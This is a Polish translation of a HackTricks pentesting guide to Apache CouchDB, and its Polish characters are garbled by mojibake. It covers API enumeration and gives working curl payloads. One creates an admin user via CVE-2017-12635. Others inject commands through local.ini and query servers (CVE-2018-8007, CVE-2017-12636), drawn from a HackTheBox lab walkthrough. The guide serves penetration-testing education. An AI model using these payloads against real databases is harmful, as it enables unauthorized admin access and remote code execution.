# 5984,6984 - Pentesting CouchDB
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## **Podstawowe informacje**
**CouchDB** to wszechstronna i pot臋偶na **baza danych zorientowana na dokumenty**, kt贸ra organizuje dane za pomoc膮 struktury **mapy klucz-warto艣膰** w ka偶dym **dokumencie**. Pola w dokumencie mog膮 by膰 reprezentowane jako **pary klucz/warto艣膰, listy lub mapy**, co zapewnia elastyczno艣膰 w przechowywaniu i pobieraniu danych.
Ka偶demu **dokumentowi** przechowywanemu w CouchDB przypisywany jest **unikalny identyfikator** (`_id`) na poziomie dokumentu. Dodatkowo, ka偶da modyfikacja dokonana i zapisana w bazie danych otrzymuje **numer rewizji** (`_rev`). Ten numer rewizji umo偶liwia efektywne **艣ledzenie i zarz膮dzanie zmianami**, u艂atwiaj膮c 艂atwe pobieranie i synchronizacj臋 danych w bazie danych.
**Domy艣lny port:** 5984(http), 6984(https)
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
## **Automatyczna enumeracja**
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
## R臋czna enumeracja
### Baner
```
curl http://IP:5984/
```
To wysy艂a 偶膮danie GET do zainstalowanej instancji CouchDB. Odpowied藕 powinna wygl膮da膰 mniej wi臋cej jak jedna z poni偶szych:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
{% hint style="info" %}
Zauwa偶, 偶e je艣li uzyskuj膮c dost臋p do g艂贸wnego katalogu couchdb otrzymasz `401 Unauthorized` z czym艣 takim jak: `{"error":"unauthorized","reason":"Authentication required."}` **nie b臋dziesz m贸g艂 uzyska膰 dost臋pu** do banera ani 偶adnego innego punktu ko艅cowego.
{% endhint %}
### Info Enumeration
To s膮 punkty ko艅cowe, do kt贸rych mo偶esz uzyska膰 dost臋p za pomoc膮 偶膮dania **GET** i wyodr臋bni膰 interesuj膮ce informacje. Mo偶esz znale藕膰 [**wi臋cej punkt贸w ko艅cowych i bardziej szczeg贸艂owe opisy w dokumentacji couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
* **`/_active_tasks`** Lista uruchomionych zada艅, w tym typ zadania, nazwa, status i identyfikator procesu.
* **`/_all_dbs`** Zwraca list臋 wszystkich baz danych w instancji CouchDB.
* **`/_cluster_setup`** Zwraca status w臋z艂a lub klastra, zgodnie z kreatorem konfiguracji klastra.
* **`/_db_updates`** Zwraca list臋 wszystkich zdarze艅 bazy danych w instancji CouchDB. Istnienie bazy danych `_global_changes` jest wymagane do korzystania z tego punktu ko艅cowego.
* **`/_membership`** Wy艣wietla w臋z艂y, kt贸re s膮 cz臋艣ci膮 klastra jako `cluster_nodes`. Pole `all_nodes` wy艣wietla wszystkie w臋z艂y, o kt贸rych ten w臋ze艂 wie, w tym te, kt贸re s膮 cz臋艣ci膮 klastra.
* **`/_scheduler/jobs`** Lista zada艅 replikacji. Opis ka偶dego zadania b臋dzie zawiera艂 informacje o 藕r贸dle i celu, identyfikator replikacji, histori臋 ostatnich zdarze艅 i kilka innych rzeczy.
* **`/_scheduler/docs`** Lista stan贸w dokument贸w replikacji. Zawiera informacje o wszystkich dokumentach, nawet w stanach `completed` i `failed`. Dla ka偶dego dokumentu zwraca identyfikator dokumentu, baz臋 danych, identyfikator replikacji, 藕r贸d艂o i cel oraz inne informacje.
* **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`**
* **`/_node/{node-name}`** Punkt ko艅cowy `/_node/{node-name}` mo偶e by膰 u偶yty do potwierdzenia nazwy w臋z艂a Erlang serwera, kt贸ry przetwarza 偶膮danie. Jest to najbardziej przydatne podczas uzyskiwania dost臋pu do `/_node/_local`, aby uzyska膰 te informacje.
* **`/_node/{node-name}/_stats`** Zas贸b `_stats` zwraca obiekt JSON zawieraj膮cy statystyki dla dzia艂aj膮cego serwera. Literalny ci膮g `_local` s艂u偶y jako alias dla lokalnej nazwy w臋z艂a, wi臋c dla wszystkich adres贸w URL statystyk, `{node-name}` mo偶e by膰 zast膮pione `_local`, aby interagowa膰 ze statystykami lokalnego w臋z艂a.
* **`/_node/{node-name}/_system`** Zas贸b \_system zwraca obiekt JSON zawieraj膮cy r贸偶ne statystyki na poziomie systemu dla dzia艂aj膮cego serwera\_.\_ Mo偶esz u偶y膰 \_\_`_local` jako {node-name}, aby uzyska膰 informacje o bie偶膮cym w臋藕le.
* **`/_node/{node-name}/_restart`**
* **`/_up`** Potwierdza, 偶e serwer jest uruchomiony, dzia艂a i jest gotowy do odpowiadania na 偶膮dania. Je艣li [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) jest `true` lub `nolb`, punkt ko艅cowy zwr贸ci odpowied藕 404.
* **`/_uuids`** 呕膮da jednego lub wi臋cej Uniwersalnych Unikalnych Identyfikator贸w (UUID) z instancji CouchDB.
* **`/_reshard`** Zwraca liczb臋 zako艅czonych, nieudanych, uruchomionych, zatrzymanych i ca艂kowitych zada艅 wraz z stanem reshardingu w klastrze.
Wi臋cej interesuj膮cych informacji mo偶na wyodr臋bni膰, jak wyja艣niono tutaj: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
### **Database List**
```
curl -X GET http://IP:5984/_all_dbs
```
Je艣li ta pro艣ba **zwraca 401 nieautoryzowany**, potrzebujesz **wa偶nych po艣wiadcze艅**, aby uzyska膰 dost臋p do bazy danych:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
Aby znale藕膰 wa偶ne dane logowania, mo偶esz **spr贸bowa膰** [**przeprowadzi膰 atak brute force na us艂ug臋**](../generic-methodologies-and-resources/brute-force.md#couchdb).
To jest **przyk艂ad** odpowiedzi couchdb, gdy masz **wystarczaj膮ce uprawnienia** do wy艣wietlenia baz danych (to tylko lista baz danych):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Database Info
Mo偶esz uzyska膰 informacje o bazie danych (takie jak liczba plik贸w i rozmiary) uzyskuj膮c dost臋p do nazwy bazy danych:
```bash
curl http://IP:5984/
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
```
### **Lista dokument贸w**
Wymie艅 ka偶dy wpis w bazie danych
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
### **Przeczytaj dokument**
Przeczytaj zawarto艣膰 dokumentu w bazie danych:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Dzi臋ki r贸偶nicom mi臋dzy parserami JSON w Erlangu i JavaScript mo偶esz **utworzy膰 u偶ytkownika administratora** z danymi uwierzytelniaj膮cymi `hacktricks:hacktricks` za pomoc膮 nast臋puj膮cego 偶膮dania:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**Wi臋cej informacji na temat tej luki tutaj**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
## CouchDB RCE
### **Przegl膮d bezpiecze艅stwa ciasteczek Erlang**
Przyk艂ad [st膮d](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
W dokumentacji CouchDB, szczeg贸lnie w sekcji dotycz膮cej konfiguracji klastra ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), omawiane jest u偶ycie port贸w przez CouchDB w trybie klastra. Wspomniano, 偶e, podobnie jak w trybie samodzielnym, port `5984` jest u偶ywany. Dodatkowo, port `5986` jest przeznaczony dla lokalnych API w臋z艂贸w, a co wa偶ne, Erlang wymaga portu TCP `4369` dla Daemon Port Mapper Erlang (EPMD), u艂atwiaj膮cego komunikacj臋 mi臋dzy w臋z艂ami w klastrze Erlang. Ta konfiguracja tworzy sie膰, w kt贸rej ka偶dy w臋ze艂 jest po艂膮czony z ka偶dym innym w臋z艂em.
Podkre艣lono istotne ostrze偶enie dotycz膮ce portu `4369`. Je艣li ten port jest udost臋pniony w Internecie lub w jakiejkolwiek niezaufanej sieci, bezpiecze艅stwo systemu w du偶ej mierze opiera si臋 na unikalnym identyfikatorze znanym jako "ciasteczko." To ciasteczko dzia艂a jako zabezpieczenie. Na przyk艂ad, w danej li艣cie proces贸w, ciasteczko o nazwie "monster" mo偶e by膰 obserwowane, co wskazuje na jego rol臋 operacyjn膮 w ramach systemu zabezpiecze艅.
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
Dla tych, kt贸rzy s膮 zainteresowani zrozumieniem, jak ten "ciasteczko" mo偶e by膰 wykorzystane do zdalnego wykonania kodu (RCE) w kontek艣cie system贸w Erlang, dost臋pna jest dedykowana sekcja do dalszego czytania. Opisuje ona metodologie wykorzystywania ciasteczek Erlang w nieautoryzowany spos贸b w celu uzyskania kontroli nad systemami. Mo偶esz **[zbada膰 szczeg贸艂owy przewodnik na temat nadu偶ywania ciasteczek Erlang dla RCE tutaj](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
### **Wykorzystanie CVE-2018-8007 poprzez modyfikacj臋 local.ini**
Przyk艂ad [st膮d](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Ostatnio ujawniona luka, CVE-2018-8007, wp艂ywaj膮ca na Apache CouchDB, zosta艂a zbadana, ujawniaj膮c, 偶e wykorzystanie jej wymaga uprawnie艅 do zapisu w pliku `local.ini`. Chocia偶 nie jest to bezpo艣rednio stosowane do pocz膮tkowego systemu docelowego z powodu ogranicze艅 bezpiecze艅stwa, wprowadzono modyfikacje, aby przyzna膰 dost臋p do zapisu w pliku `local.ini` w celach eksploracyjnych. Poni偶ej przedstawiono szczeg贸艂owe kroki i przyk艂ady kodu, ilustruj膮ce ten proces.
Najpierw 艣rodowisko jest przygotowywane poprzez upewnienie si臋, 偶e plik `local.ini` jest zapisywalny, co jest weryfikowane poprzez wylistowanie uprawnie艅:
```bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
Aby wykorzysta膰 luk臋, wykonywana jest komenda curl, celuj膮c w konfiguracj臋 `cors/origins` w `local.ini`. To wstrzykuje nowy origin wraz z dodatkowymi komendami w sekcji `[os_daemons]`, maj膮c na celu wykonanie dowolnego kodu:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
Nast臋pna weryfikacja pokazuje wstrzykni臋t膮 konfiguracj臋 w `local.ini`, por贸wnuj膮c j膮 z kopi膮 zapasow膮, aby uwydatni膰 zmiany:
```bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
Pocz膮tkowo oczekiwany plik (`/tmp/0xdf`) nie istnieje, co wskazuje, 偶e wstrzykni臋te polecenie nie zosta艂o jeszcze wykonane. Dalsze badania ujawniaj膮, 偶e dzia艂aj膮 procesy zwi膮zane z CouchDB, w tym jeden, kt贸ry potencjalnie m贸g艂by wykona膰 wstrzykni臋te polecenie:
```bash
root@canape:/home/homer/bin# ps aux | grep couch
```
Poprzez zako艅czenie zidentyfikowanego procesu CouchDB i pozwolenie systemowi na automatyczne jego ponowne uruchomienie, wywo艂ywana jest egzekucja wstrzykni臋tej komendy, co potwierdza istnienie wcze艣niej brakuj膮cego pliku:
```bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
To badanie potwierdza wykonalno艣膰 eksploatacji CVE-2018-8007 w okre艣lonych warunkach, szczeg贸lnie wym贸g dost臋pu do zapisu do pliku `local.ini`. Podane przyk艂ady kodu i kroki proceduralne oferuj膮 jasny przewodnik do powt贸rzenia eksploatu w kontrolowanym 艣rodowisku.
Aby uzyska膰 wi臋cej informacji na temat CVE-2018-8007, zapoznaj si臋 z komunikatem mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
### **Badanie CVE-2017-12636 z uprawnieniami do zapisu na local.ini**
Przyk艂ad [st膮d](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
Zbadano luk臋 znan膮 jako CVE-2017-12636, kt贸ra umo偶liwia wykonanie kodu za po艣rednictwem procesu CouchDB, chocia偶 konkretne konfiguracje mog膮 uniemo偶liwi膰 jej eksploatacj臋. Pomimo licznych odniesie艅 do Proof of Concept (POC) dost臋pnych w Internecie, konieczne s膮 dostosowania, aby wykorzysta膰 luk臋 w wersji CouchDB 2, r贸偶ni膮cej si臋 od powszechnie atakowanej wersji 1.x. Pocz膮tkowe kroki obejmuj膮 weryfikacj臋 wersji CouchDB i potwierdzenie braku oczekiwanego 艣cie偶ki serwer贸w zapyta艅:
```bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
```
Aby dostosowa膰 si臋 do wersji CouchDB 2.0, wykorzystuje si臋 now膮 艣cie偶k臋:
```bash
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
```
Pr贸by dodania i wywo艂ania nowego serwera zapyta艅 spotka艂y si臋 z b艂臋dami zwi膮zanymi z uprawnieniami, co zosta艂o wskazane przez nast臋puj膮cy wynik:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Dalsze 艣ledztwo ujawni艂o problemy z uprawnieniami do pliku `local.ini`, kt贸ry nie by艂 zapisywalny. Poprzez modyfikacj臋 uprawnie艅 pliku z dost臋pem root lub homer, sta艂o si臋 mo偶liwe kontynuowanie:
```bash
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
```
Subsequent attempts to add the query server succeeded, as demonstrated by the lack of error messages in the response. The successful modification of the `local.ini` file was confirmed through file comparison:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
Proces kontynuowany by艂 od utworzenia bazy danych i dokumentu, a nast臋pnie pr贸by wykonania kodu za pomoc膮 niestandardowego widoku mapuj膮cego do nowo dodanego serwera zapyta艅:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
```
A **[podsumowanie](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** z alternatywnym 艂adunkiem dostarcza dalszych informacji na temat wykorzystania CVE-2017-12636 w okre艣lonych warunkach. **Przydatne zasoby** do wykorzystania tej podatno艣ci obejmuj膮:
- [Kod exploita POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Wpis w bazie danych exploit贸w](https://www.exploit-db.com/exploits/44913/)
## Shodan
* `port:5984 couchdb`
## Odniesienia
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Wsparcie dla HackTricks
* Sprawd藕 [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Do艂膮cz do** 馃挰 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **艣led藕** nas na **Twitterze** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel si臋 trikami hakerskimi, przesy艂aj膮c PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytori贸w github.
{% endhint %}